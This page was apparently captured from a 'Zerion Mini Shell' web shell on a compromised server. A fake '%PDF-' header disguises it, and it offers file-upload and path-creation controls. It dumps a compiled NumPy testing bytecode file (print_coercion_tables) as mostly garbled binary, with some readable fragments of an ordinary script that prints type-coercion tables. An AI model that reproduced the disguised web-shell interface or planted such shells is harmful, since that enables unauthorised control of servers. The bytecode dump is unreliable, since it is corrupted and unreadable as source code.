%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/testing/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/testing/__pycache__/print_coercion_tables.cpython-39.pyc

a

z[yc$�@s>dZddlZddlmZGdd�d�Zdd�Zdd	d
�Zdddd�d
d�Ze	dk�r:e
d�eejd�e
�e
d�e
�e
d�eejdddd�e
�e
d�eejdddd�e
�e
d�eejdddd�e
�e
d�eejdddd�e
�e
d�eejddddd�e
d�edddd�dS)z:Prints type-coercion tables for the built-in NumPy types

�N)�
namedtuplec@s.eZdZdd�Zdd�Zdd�Ze�d�ZdS)	�
GenericObjectcCs
||_dS�N)�v)�selfr�r�I/usr/lib64/python3.9/site-packages/numpy/testing/print_coercion_tables.py�__init__
szGenericObject.__init__cCs|Srr�r�otherrrr�__add__
szGenericObject.__add__cCs|Srrr
rrr�__radd__szGenericObject.__radd__�ON)�__name__�
__module__�__qualname__r	rr
�np�dtyperrrrr	srcCs�tddd�|D]}t|dd�qt�|D]�}t|dd�|D]d}t�||d�rXd}n@t�||d�rld}n,t�||d�r�d	}nt�||d
�r�d}nd}t|dd�q@t�q,dS)N�X� ��endZequiv�#�safe�=Z	same_kind�~Zunsafe�.)�printr�can_cast)�ntypes�char�row�col�castrrr�print_cancast_tables$r$Fc

CsNtddd�|D]}t|dd�qt�|D�]}|dkr@t}n
t�|�}t|dd�|D]�}|dkrlt}	n
t�|�}	zx|r�tj||�g|d�}
n||�}
|	|�}|r�t�|
j|j�j}n2t�|
|�}t	|tj
�r�|jj}nt�t|��j}WnDt�yd}Yn.t
�yd}Ynt�y2d}Yn0t|dd�qZt�q,dS)	N�+rrr)r�!�@r)rrrZ
obj2sctypeZarray�
promote_typesrr �add�
isinstanceZndarray�type�
ValueError�
OverflowError�	TypeError)
rZinputfirstvalueZinputsecondvalueZ
firstarrayZuse_promote_typesr r!Zrowtyper"ZcoltypeZrowvalueZcolvalue�valuerrr�print_coercion_table*s@




r0T�r�legacy�flagsc	s�ddlm}ddddddd�}d	d
ddd
dddd�}tdgd��}|ddd��|�}i�t��|D]�}��|d���|d�|d�vr�i�|d<�|d}	||d}|dr�dnd}d}|dr�|dO}|dr�|dO}|dr�|dO}||}||||d�|	|d<qbtjd��fd d!�}
t�|
d"��d.���fd$d%�	}|�rlt�td&�t�|d#�|�r�t�td'�t�|d�|�r�t�t|d�d(|d�d)|d�d*|d�d+��t�|d,�d-S)/z[Prints new casts, the values given are default "can-cast" values, not
    actual ones.
    r)�get_all_cast_informationrrrrr)���r����u▗u█u▚u▐u▄u▜u▙u▟)r�r6r7r9r8���	cast_infor1�from�toZcastingr2�LZrequires_pyapir6Zsupports_unalignedr7Zno_floatingpoint_errorsr9�Allcs@t�|j�}z��|j�}Wnty4tj}Yn0||jfSr)rrr+�indexr r,�inf)�xrZindx)�typesrr�sorter�sz$print_new_cast_table.<locals>.sorter)�keyrcs�tddd��D]}tt�|j�jdd�qt��D]P}tt�|j�jdd���|i�}�D]}tt|�|��|�dd�q`t�q6dS)Nrrr)rrrr+r �get�getattr)ZfieldZdtZfrom_dtr!Zto_dt)�dtypes�no_cast_info�tablerr�print_table�sz)print_new_cast_table.<locals>.print_tablezDCasting: # is equivalent, = is safe, ~ is same-kind, and . is unsafez+L denotes a legacy cast . a non-legacy one.z: no flags, z	: PyAPI, z: supports unaligned, z: no-float-errorsr3N)r)	Znumpy.core._multiarray_testsr4r�setr)r�	typecodes�sortedr)rr2r3r4Z
cast_tableZflags_tabler=Zcastsr#Zto_dictrFrMr)rJrKrLrEr�print_new_cast_tableSst�	�

��
rQ�__main__zcan castrAzJIn these tables, ValueError is '!', OverflowError is '@', TypeError is '#'zscalar + scalarzscalar + neg scalarr5zarray + scalarzarray + neg scalarr(zNew casting type promotion:)F)�__doc__Znumpyr�collectionsrrr$r0rQrrrOrrrr�<module>s8
)`


Zerion Mini Shell 1.0